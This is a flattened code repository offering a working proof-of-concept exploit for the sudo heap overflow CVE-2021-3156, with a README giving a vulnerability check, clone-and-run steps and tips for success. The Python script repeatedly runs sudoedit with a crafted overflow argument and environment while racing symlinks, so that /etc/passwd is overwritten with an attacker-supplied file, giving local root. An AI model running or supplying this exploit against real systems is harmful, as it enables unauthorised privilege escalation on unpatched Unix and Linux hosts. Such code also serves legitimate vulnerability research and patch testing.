├── LICENSE ├── README.md └── exploit.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) [year] [fullname] 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PoC Eploit Sudo 1.9.5p1 (CVE-2021-3156) Heap-Based Buffer Overflow Privilege Escalation. 2 | [![Python3.x](https://img.shields.io/badge/python-3.x-FADA5E.svg?logo=python)](https://www.python.org/) [![PEP8](https://img.shields.io/badge/code%20style-pep8-red.svg)](https://www.python.org/dev/peps/pep-0008/) 3 | 4 | CVE-2021-3156 is a new severe vulnerability was found in Unix and Linux operating systems that allow an unprivileged user to exploit this vulnerability using Sudo, causing a heap overflow to elevate privileges to root without authentication, or even get listed in the sudoers file. 5 | 6 | Credit to: Advisory by [Baron Samedit of Qualys](https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt) 7 | 8 | ### How to check if you are affected. 9 | 10 | [The sudo project](https://www.sudo.ws/alerts/unescape_overflow.html) released a command that allows you to test whether your version of sudo is vulnerable: 11 | ``` 12 | sudoedit -s '\' `perl -e 'print "A" x 65536'` 13 | ``` 14 | 15 | If you receive a usage or error message, sudo is not vulnerable. If the result is a Segmentation fault, sudo is vulnerable. 16 | 17 | ## Download the exploit code. 18 | 19 | ``` 20 | git clone https://github.com/CyberCommands/exploit-sudoedit.git sudoedit/ 21 | ``` 22 | 23 | ``` 24 | cd sudoedit/ 25 | ``` 26 | 27 | ``` 28 | sudo python3 exploit.py --help 29 | ``` 30 | 31 | ## Important Note for Exploit. 32 | 33 | - The modified time of /etc/passwd needs to be newer than the system boot time, if it isn't you can use `chsh` to update it. Unfortunately this means you will have to know the password for the account you are running as. Remember that `chsh` doesn't accept empty passwords by default so if it is empty you may have to set one with `passwd`. 34 | -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import os 3 | import sys 4 | import pwd 5 | import time 6 | import argparse 7 | 8 | 9 | class Exploit(object): 10 | username = '' 11 | size = 0 12 | data = '' 13 | 14 | def __init__(self, source, target, sleep): 15 | self.sleep = sleep 16 | self.source = source 17 | self.target = target 18 | 19 | @staticmethod 20 | def readFile(path): 21 | return open(path, 'r').read() 22 | 23 | @staticmethod 24 | def getUser(): 25 | return pwd.getpwuid(os.getuid())[0] 26 | 27 | @staticmethod 28 | def getSize(path): 29 | return os.stat(path).st_size 30 | 31 | def main(self): 32 | self.username = self.getUser() 33 | self.data = self.readFile(self.source) 34 | self.size = self.getSize(self.target) 35 | environ = { 36 | '\n\n\n\n\n': '\n' + self.data, 37 | 'SUDO_ASKPASS': '/bin/false', 38 | 'LANG': 'C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 39 | 'A': 'A' * 0xffff 40 | } 41 | for i in range(5000): 42 | directory = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA00000000000000000000000000%08d' % i 43 | overflow = '11111111111111111111111111111111111111111111111111111111%s' % directory 44 | 45 | if os.path.exists(directory): 46 | sys.stdout.write('file exists %s\n' % directory) 47 | continue 48 | 49 | child = os.fork() 50 | os.environ = environ 51 | if child: 52 | sys.stdout.write('[+] parent %d \n' % i) 53 | sys.stdout.flush() 54 | time.sleep(self.sleep) 55 | if not os.path.exists(directory): 56 | try: 57 | os.mkdir(directory, 0o700) 58 | os.symlink(self.target, '%s/%s' % (directory, self.username)) 59 | os.waitpid(child, 0) 60 | except: 61 | continue 62 | else: 63 | sys.stdout.write('[+] child %d \n' % i) 64 | sys.stdout.flush() 65 | os.setpriority(os.PRIO_PROCESS, 0, 20) 66 | os.execve( 67 | path='/usr/bin/sudoedit', 68 | argv=[ 69 | '/usr/bin/sudoedit', 70 | '-A', 71 | '-s', 72 | '\\', 73 | overflow 74 | ], 75 | env=environ 76 | ) 77 | sys.stdout.write('[!] execve failed\n') 78 | sys.stdout.flush() 79 | os.abort() 80 | break 81 | 82 | if self.size != self.getSize(self.target): 83 | sys.stdout.write('[*] success at iteration %d \n' % i) 84 | sys.stdout.flush() 85 | break 86 | 87 | sys.stdout.write(""" 88 | \nConsider the following if the exploit fails: 89 | \n\t(1) If all directories are owned by root then sleep needs to be decreased. 90 | \n\t(2) If they're all owned by you, then sleep needs increased.""") 91 | 92 | 93 | if __name__ == '__main__': 94 | parser = argparse.ArgumentParser( 95 | add_help=True, 96 | description='* Sudo Privilege Escalation / Heap Overflow - CVE-2021-3156 *' 97 | ) 98 | try: 99 | parser.add_argument('-s','--source', action='store', help='Path to malicious "passwd" file to overwrite the target') 100 | parser.add_argument('-t', '--target', action='store', help='Target file path to be overwritten (default: /etc/passwd)') 101 | parser.add_argument('-sl','--sleep', action='store', help='Sleep setting for forked processes (default: 0.01 seconds)') 102 | parser.set_defaults(target='/etc/passwd', sleep='0.01') 103 | 104 | options = parser.parse_args() 105 | if options.source is None: 106 | parser.print_help() 107 | sys.exit(1) 108 | 109 | exp = Exploit( 110 | source=options.source, 111 | target=options.target, 112 | sleep=float(options.sleep) 113 | ) 114 | exp.main() 115 | 116 | except Exception as err: 117 | sys.stderr.write(str(err)) --------------------------------------------------------------------------------